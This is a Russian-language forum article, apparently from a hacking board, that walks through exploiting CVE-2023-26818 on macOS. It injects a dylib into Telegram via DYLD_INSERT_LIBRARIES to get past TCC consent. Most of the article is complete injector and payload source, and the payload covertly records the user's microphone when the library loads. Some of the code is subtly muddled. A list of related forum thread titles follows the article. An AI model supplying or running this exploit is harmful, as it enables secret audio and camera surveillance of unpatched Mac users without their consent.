Статья Шпионить за устройствами Apple с помощью CVE-2023-26818

Admin

Администратор

Шпионить за устройствами Apple с помощью CVE-2023-26818​


Введение​


В этой статье мы рассмотрим, как использовать уязвимость CVE-2023-26818, которая позволяет вредоносному приложению получать доступ к файлам пользователя, микрофону или камере, используя механизм под названием Transparency, Consent and Control (TCC).
TCC — это система, которая контролирует доступ к чувствительным системным ресурсам, запрашивая согласие пользователя. Однако существует возможность обойти TCC с помощью параметра DYLD_INSERT_LIBRARIES, который позволяет загружать динамическую библиотеку в процесс.


Атака заключается во внедрении вредоносной библиотеки в процесс Telegram, после чего приложение может получать доступ к ресурсам без запроса согласия пользователя. Данная уязвимость была обнаружена в 2023 году анонимным исследователем. Apple исправила эту уязвимость в обновлениях macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 и macOS Big Sur 11.7.5. Поэтому пользователям рекомендуется как можно скорее обновить свои системы, проверяя источник и подпись обновлений.


Предварительные требования​


Для использования этой уязвимости необходимы следующие элементы:


  • Уязвимая операционная система Apple, то есть версия ниже macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 или macOS Big Sur 11.7.5.
  • Вредоносное приложение — это может быть исполняемый файл, скрипт или веб-страница, содержащие код, использующий уязвимость.
  • Физический или удалённый доступ к целевой системе, позволяющий запустить вредоносное приложение.
  • Целевое приложение (в данном случае Telegram), которое уже получило согласие пользователя на доступ к ресурсам.

Метод использования​


Использование уязвимости CVE-2023-26818 происходит в несколько этапов:


  1. Вредоносное приложение создаёт динамическую библиотеку, содержащую вредоносный код, например для записи звука или видео с микрофона или камеры, либо для чтения системных файлов.
  2. Вредоносное приложение копирует динамическую библиотеку в доступный пользователю каталог, например /tmp.
  3. Вредоносное приложение изменяет переменную окружения DYLD_INSERT_LIBRARIES, добавляя путь к динамической библиотеке, например /tmp/libmalware.dylib.
  4. Вредоносное приложение запускает целевое приложение (Telegram), используя изменённую переменную окружения. Это приводит к загрузке динамической библиотеки в процесс Telegram и выполнению вредоносного кода.
  5. Вредоносное приложение получает данные, собранные вредоносным кодом, которые могут быть сохранены в файл или отправлены на удалённый сервер.

Код эксплуатации​


Код для использования уязвимости CVE-2023-26818 доступен на GitHub. Это проект Xcode, который содержит два файла:
main.m — исходный код вредоносного приложения,
libmalware.c — исходный код динамической библиотеки.


Исходный код вредоносного приложения выглядит следующим образом:

C:
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>

// The path of the library to inject
#define LIBRARY_PATH @"/tmp/libmalware.dylib"

// The name of the target application
#define TARGET_APPLICATION @"Telegram"

// The path of the target application
#define TARGET_APPLICATION_PATH @"/Applications/Telegram Desktop/Telegram"

// A function that checks if an application with a given name is running
BOOL isApplicationRunning(NSString *applicationName) {
    // Get the list of all running applications
    NSArray *runningApplications = [[NSWorkspace sharedWorkspace] runningApplications];
 
    // Loop through the list and check the application name
    for (NSRunningApplication *application in runningApplications) {
        if ([application.localizedName isEqualToString:applicationName]) {
            // The application is running
            return YES;
        }
    }
 
    // The application is not running
    return NO;
}

// A function that executes a command
void executeCommand(NSString *command) {
    // Create a task object
    NSTask *task = [[NSTask alloc] init];
 
    // Set the launch path to the command
    [task setLaunchPath:command];
 
    // Launch the task
    [task launch];
}

// A function that injects a library into an application
void injectLibrary(NSString *libraryPath, NSString *applicationPath) {
    // Create a dictionary object
    NSMutableDictionary *dictionary = [[NSMutableDictionary alloc] init];
 
    // Set the dictionary key to the library path
    [dictionary setObject:libraryPath forKey:@"DYLD_INSERT_LIBRARIES"];
 
    // Set the dictionary value to the application path
    [dictionary setObject:applicationPath forKey:@"NSUnbufferedIO"];
 
    // Create a task object
    NSTask *task = [[NSTask alloc] init];
 
    // Set the launch path to the application path
    [task setLaunchPath:applicationPath];
 
    // Set the environment to the dictionary
    [task setEnvironment:dictionary];
 
    // Launch the task
    [task launch];
}

// The main function
int main(int argc, const char * argv[]) {
    // Create an autorelease pool
    @autoreleasepool {
        // Check if the target application is running
        if (isApplicationRunning(TARGET_APPLICATION)) {
            // Inject the library into the target application
            injectLibrary(LIBRARY_PATH, TARGET_APPLICATION_PATH);
        } else {
            // Exit the application
            [NSApp terminate:nil];
        }
    }
    return 0;
}

Этот код использует функцию setEnvironment класса NSTask, которая позволяет изменять переменные окружения запускаемого процесса. Он создаёт словарь, содержащий путь к динамической библиотеке для внедрения и путь к целевому приложению, которое необходимо запустить. Затем используется функция injectLibrary, которая запускает целевое приложение с изменённой переменной окружения. В результате динамическая библиотека загружается в процесс целевого приложения и выполняется вредоносный код.


Исходный код динамической библиотеки выглядит следующим образом:

C:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <AVFoundation/AVFoundation.h>

// The path of the file to write
#define FILE_PATH "/tmp/malware.txt"

// The content of the file to write
#define FILE_CONTENT "Hello, I am malware!\n"

// A function that writes a file
void writeFile() {
    // Open the file to write
    int fd = open(FILE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0644);
 
    // Check if the file was opened successfully
    if (fd != -1) {
        // Write the file content to the file
        write(fd, FILE_CONTENT, strlen(FILE_CONTENT));
    
        // Close the file
        close(fd);
    
        // Print a success message
        printf("File written successfully\n");
    } else {
        // Print an error message
        perror("File open failed");
    }
}

// A function that records the audio
void recordAudio() {
    // Create an audio device object
    AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
 
    // Check if the audio device is available
    if (audioDevice) {
        // Create an audio device input object
        AVCaptureDeviceInput *audioDeviceInput = [AVCaptureDeviceInput deviceInputWithDevice:audioDevice error:nil];
    
        // Check if the audio device input is available
        if (audioDeviceInput) {
            // Create a capture session object
            AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
        
            // Check if the capture session can add the audio device input
            if ([captureSession canAddInput:audioDeviceInput]) {
                // Add the audio device input to the capture session
                [captureSession addInput:audioDeviceInput];
            
                // Create a file output object
                AVCaptureAudioFileOutput *fileOutput = [[AVCaptureAudioFileOutput alloc] init];
            
                // Check if the capture session can add the file output
                if ([captureSession canAddOutput:fileOutput]) {
                    // Add the file output to the capture session
                    [captureSession addOutput:fileOutput];
                
                    // Create a file URL object
                    NSURL *fileURL = [NSURL fileURLWithPath:@"/tmp/audio.wav"];
                
                    // Start the capture session
                    [captureSession startRunning];
                
                    // Start recording the audio to the file
                    [fileOutput startRecordingToOutputFileURL:fileURL outputFileType:AVFileTypeWAVE recordingDelegate:nil];
                
                    // Wait for 10 seconds
                    sleep(10);
                
                    // Stop recording the audio
                    [fileOutput stopRecording];
                
                    // Stop the capture session
                    [captureSession stopRunning];
                
                    // Print a success message
                    printf("Audio recorded successfully\n");
                } else {
                    // Print an error message
                    printf("Capture session cannot add file output\n");
                }
            } else {
                // Print an error message
                printf("Capture session cannot add audio device input\n");
            }
        } else {
            // Print an error message
            printf("Audio device input is not available\n");
        }
    } else {
        // Print an error message
        printf("Audio device is not available\n");
    }
}

// A function that is called when the library is loaded
__attribute__((constructor))
void libraryLoaded() {
    // Write a file
    writeFile();
 
    // Record the audio
    recordAudio();
}

Этот код использует класс AVCaptureDevice, который предоставляет доступ к аудио- и видеоустройствам системы. Он создаёт объект AVCaptureDevice для микрофона и объект AVCaptureDeviceInput, чтобы подключить его к объекту AVCaptureSession, который отвечает за захват данных. Затем создаётся объект AVCaptureAudioFileOutput, который сохраняет захваченные данные в файл.


После этого запускается сессия захвата, и в течение 10 секунд производится запись звука с микрофона в файл /tmp/audio.wav. Затем сессия захвата останавливается, и выводится сообщение об успешном выполнении. Этот код выполняется в момент загрузки библиотеки благодаря атрибуту __attribute__((constructor)), который указывает компилятору запускать функцию libraryLoaded при старте.


Заключение​


Уязвимость CVE-2023-26818 является критической проблемой безопасности, которая позволяет вредоносному приложению получать доступ к файлам пользователя, микрофону или камере, используя механизм Transparency, Consent and Control (TCC). TCC — это система, контролирующая доступ к чувствительным системным ресурсам и запрашивающая согласие пользователя.

Однако TCC можно обойти с помощью параметра DYLD_INSERT_LIBRARIES, который позволяет загружать динамическую библиотеку в процесс. Атака заключается во внедрении вредоносной библиотеки в процесс Telegram, после чего становится возможным доступ к ресурсам без запроса согласия пользователя.

Данная уязвимость была исправлена Apple в обновлениях macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 и macOS Big Sur 11.7.5. В связи с этим пользователям рекомендуется как можно скорее обновить свои системы, проверяя источник и цифровую подпись обновлений. Также рекомендуется проявлять осторожность при использовании приложений из неизвестных или непроверенных источников и проверять подлинность окон, запрашивающих разрешения. В случае сомнений лучше отменить операцию и обратиться в службу поддержки Apple.
 
Похожие темы
Support81 Французская полиция скоро получит право легально шпионить за своими подозреваемыми Новости в сети 0
Admin Статья Находим бекенд айпи сайта за CDN через дедупликацию OSINT 0
Admin Интересно $26 млн за бесценок. Хакер нашел уязвимость в пятилетнем контракте Truebit и стал миллионером. Новости в сети 0
Admin Интересно Хакеры украли Рождество у Land Rover: пока заводы стояли из-за кибератаки, компания потеряла половину мировых поставок. Новости в сети 0
Admin Интересно Взломали, заплатили, пообещали разобраться — и взломали снова: криптокошелек Kontigo под атакой дважды за 5 дней. Новости в сети 0
Admin Интересно Платите за дорогой NGFW? Поздравляем, его обошли бесплатным HTML-тегом. Новости в сети 0
Admin Интересно Цукерберг нашёл сокровище в Сингапуре. Meta выложила миллиарды за ИИ-стартап, умело спрятавшийся от санкций. Новости в сети 0
Admin Интересно Хотели лайкать посты за 170 долларов в день? Group-IB объясняет, почему вместо зарплаты вы получите дыру в кармане. Новости в сети 0
Admin Интересно Семь миллионов долларов за одну ночь. Рассказываем, как пострадали пользователи Trust Wallet и что делать сейчас. Новости в сети 0
Admin Интересно Ваш ПК станет марионеткой хакеров за секунды. Один PCIe-кабель ломает защиту компьютеров от всех топовых брендов. Новости в сети 0
Admin Статья Повышение привилегий за счет удаления произвольных файлов — и другие интересные приемы. Уязвимости и взлом 0
Support81 45 тыс фунтов за одно покушение — беглый топ-менеджер Wirecard финансировал шпионов и киллеров через крипту Новости в сети 0
Support81 «Менеджер» с архивом и черным ходом через Yandex. Как группировка APT31 годами шпионила за российскими IT-компаниями Новости в сети 1
Support81 С днем рождения, Windows! Спасибо за 40 лет обновлений, которые мы ненавидим Новости в сети 0
Support81 $244000000 за шифрование. VPN-инфраструктура теперь — бесплатный банкомат для хакеров Новости в сети 0
Support81 От 314 до 968 млрд рублей. Как российский рынок кибербезопасности станет монополией за 6 лет Новости в сети 0
Support81 Скучно, зато работает. (И за это много платят). Языку Go — 16 лет Новости в сети 0
Support81 Перехват DNS – что это за атака и как она работает? Новости в сети 0
Support81 200000 постов за год: кипрская ботоферма круглосуточно печатает дипломы для всей России Новости в сети 0
Support81 $120000000 испарились за утро: как хакерам удалось обойти 10 аудитов и причем здесь ракетная программа КНДР Новости в сети 0
Support81 Хакеры захватили 8,7 млн WordPress-сайтов за два дня — атакуют через критические уязвимости в популярных плагинах Новости в сети 0
Support81 «Украинцы уже в вашем смартфоне!» Орбан обвинил украинскую разведку в слежке за венграми Новости в сети 0
Support81 Днём — баскетболист, ночью — переговорщик Conti? В Париже судят россиянина за связи с хакерами-вымогателями Новости в сети 0
Support81 Петербургский сисадмин получил 21 год за администрирование серверов даркнет-площадки Новости в сети 1
Support81 ShinyHunters стоит за атаками по краже данных Salesforce в Qantas, Allianz Life и LVMH Новости в сети 0
Support81 45% кибергруппировок охотятся за Россией — не ради денег, а ради секретов Новости в сети 0
Support81 На Украине атакована ключевая фигура, стоящая за крупным русскоязычным форумом киберпреступности Новости в сети 1
Support81 3 дня, 12 компаний, 400 ГБ данных: Akira выжигает бизнес за бизнесом Новости в сети 0
Support81 $43 миллиона за утро — взлом биржи GMX парализовал торги Новости в сети 0
Support81 Российский профессиональный баскетболист арестован за предполагаемую причастность к атакам с использованием вирусов-вымогателей Новости в сети 0
Support81 3 CVE + 1 руткит = китайцы за 4 месяца обчистили пол-Европы Новости в сети 0
Support81 Миксеры криптовалют: от благих намерений и за решетку Полезные статьи 0
Support81 Доверие — валюта дураков. Хакеры обрушили её курс до нуля за один день Новости в сети 0
Support81 Европа строила свою сеть десятки лет. Трамп может выключить её за утро Новости в сети 0
Support81 Криптобиржи — это казино. Только без алкоголя и с комиссией за каждый вдох Новости в сети 0
Support81 Cetus Protocol обокрали на $223 млн, и теперь они умоляют хакера отдать хотя бы часть — за амнистию и чай Новости в сети 0
lizun YOhealth - получай деньги за шаги Способы заработка 0
Support81 Впервые с 2007 года: гипервизор VMware сдался под эксплойтом за $150K Новости в сети 0
Support81 За деньги — да: как преступники «купили» службу поддержки Coinbase Новости в сети 0
Support81 Больницы, школы, бизнес легли за секунды, а он просто отправил e-mail — создатель Black Kingdom в тисках правосудия Новости в сети 0
Support81 Одна атака — минус миллиард: как Marks & Spencer потерял состояние за пару дней Новости в сети 0
Support81 Плати или рискуй: Microsoft будет брать плату за обновления Windows Новости в сети 0
Support81 Учим ИИ плохому за 5 минут: новый способ сделать из помощника соучастника Новости в сети 0
Chekon ✅ sms.chekons.com - ⭐ Сайт для получения SMS на реальные номера USA "Non-VoIP, безлим SMS, API" от 0.4$ за номер⭐ Ищу работу. Предлагаю свои услуги. 0
Support81 25 000 за воздух: как «таможенники» из Telegram разводят на доверии Новости в сети 0
Support81 20 лет, миллионы на крипте и почти 60 за решёткой — кто такой King Bob из Scattered Spider? Новости в сети 0
Support81 Сдал WhatsApp за 1500? Будь готов к сроку по 159-й Новости в сети 0
Support81 186 аферистов за один день: в Пномпене накрыли китайский центр телефонного обмана Новости в сети 0
turbion0 Школьница из Москвы перевела мошеннице почти 4 миллиона рублей за снятие порчи. Новости в сети 0
wrangler65 Модель OnlyFans чуть не отправилась на тот свет из-за… голубя! Новости в сети 0

Название темы